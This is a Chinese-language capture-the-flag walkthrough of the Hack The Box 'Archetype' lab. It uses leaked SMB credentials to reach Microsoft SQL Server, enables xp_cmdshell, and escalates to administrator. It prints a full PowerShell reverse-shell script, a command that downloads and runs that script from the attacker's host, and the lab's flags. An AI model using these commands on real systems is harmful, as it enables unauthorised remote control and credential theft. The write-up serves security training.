[StartingPoint][Tier2]Archetype

2024-04-19 862 0

Task 1

Which TCP port is hosting a database server?

(哪个端口开放了数据库服务)

$ nmap 10.129.95.187 -sC --min-rate 1000

[StartingPoint][Tier2]Archetype插图

1433

Task 2

What is the name of the non-Administrative share available over SMB?

(哪个非管理共享提供了SMB?)

$ smbclient -N -L 10.129.95.187

[StartingPoint][Tier2]Archetype插图1

backups

Task 3

What is the password identified in the file on the SMB share?

(在 SMB 共享中识别的文件中的密码是什么?)

$ smbclient -N //10.129.95.187/backups

>dir

>get prod.dtsConfig

[StartingPoint][Tier2]Archetype插图2

[StartingPoint][Tier2]Archetype插图3

M3g4c0rp123

Task 4

What script from Impacket collection can be used in order to establish an authenticated connection to a Microsoft SQL Server?

(从 Impacket 集合中的哪个脚本可以用于与 Microsoft SQL Server 建立经过身份验证的连接?)

git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
pip3 install .
# OR:
sudo python3 setup.py install
# In case you are missing some modules:
pip3 install -r requirements.txt

mssqlclient.py

Task 5

What extended stored procedure of Microsoft SQL Server can be used in order to spawn a Windows command shell?

(Microsoft SQL Server 的哪个扩展存储过程可以用于生成一个 Windows 命令 shell?)

python3 mssqlclient.py ARCHETYPE/[email protected] -windows-auth

[StartingPoint][Tier2]Archetype插图4

xp_cmdshell

Task 6

What script can be used in order to search possible paths to escalate privileges on Windows hosts?

(用于搜索可能的路径以提升 Windows 主机权限的脚本是什么)

winpeas

Task 7

What file contains the administrator's password?

(什么文件中包含的管理员密码?)

使用SELECT is_srvrolemember('sysadmin');用来检查当前用户是否属于 sysadmin 角色,即系统管理员角色。如果用户是 sysadmin 角色的成员,该命令将返回 1;否则,返回 0

[StartingPoint][Tier2]Archetype插图5

没有启用xp_cmdshell

[StartingPoint][Tier2]Archetype插图6

EXEC sp_configure 'Show Advanced Options', 1;
允许修改高级配置选项

RECONFIGURE;

确认操作

[StartingPoint][Tier2]Archetype插图7

sp_configure;

查看sp_configure配置

[StartingPoint][Tier2]Archetype插图8

EXEC sp_configure 'xp_cmdshell', 1;

使用sp_configure系存储过程,启用xp_cmdshell参数,来允许SQL Server调用操作系统命令

RECONFIGURE;

确认操作

[StartingPoint][Tier2]Archetype插图7

>xp_cmdshell "powershell -c whoami";

[StartingPoint][Tier2]Archetype插图9

$ vim reverse.txt

$LHOST = "10.10.16.8"; $LPORT = 10032; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()

[StartingPoint][Tier2]Archetype插图10

$ 开启8000端口让服务器下载程序

[StartingPoint][Tier2]Archetype插图11

> xp_cmdshell "powershell -c (Invoke-Expression (curl http://10.10.16.8:8000/reverse.txt -UseBasicParsing))";

服务端powershell反弹shell

[StartingPoint][Tier2]Archetype插图12

$ nc -lvp 10032

[StartingPoint][Tier2]Archetype插图13

[StartingPoint][Tier2]Archetype插图14

获得了一个低权限用户

type c:\\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

查看历史命令

[StartingPoint][Tier2]Archetype插图15

ConsoleHost_history.txt

User Flag

powershell 命令快速获取桌面文件命令

Ps>Get-ChildItem -Path "C:\Users\sql_svc\Desktop"

[StartingPoint][Tier2]Archetype插图16

cmd
> dir "C:\Users\sql_svc\Desktop"

3e7b102e78218e935bf3f4951fec21a3

Root Flag

[StartingPoint][Tier2]Archetype插图17

b91ccec3305e98240082d4474b848528

解题过程

1.通过smb共享文件获取到敏感文件
2.利用mssqlclient来操作Microsoft SQL进行xp_cmdshell命令执行
3.获取一个普通用户权限,读取Desktop目录下user.txt。这里再利用(c:\\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt)存放的历史命令,成功获取到管理员smb泄露的权限密码
4.将获取到的smb管理员密码,通过psexec进行命令执行,成功提权,读取Desktop下的root.txt


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

HTB-Infiltrator:一文带你走进域渗透
JAVA安全 | Classloader:理解与利用一篇就够了
多角度揭秘威胁行为组织CryptoCore复杂的加密货币欺诈活动
网络空间的“边水往事”?针对华语黑产及用户进行攻击的 APT-K-UN3 活动分析
伪装“黑神话悟空修改器”传播木马的活动分析
靶场战神为何会陨落?

发布评论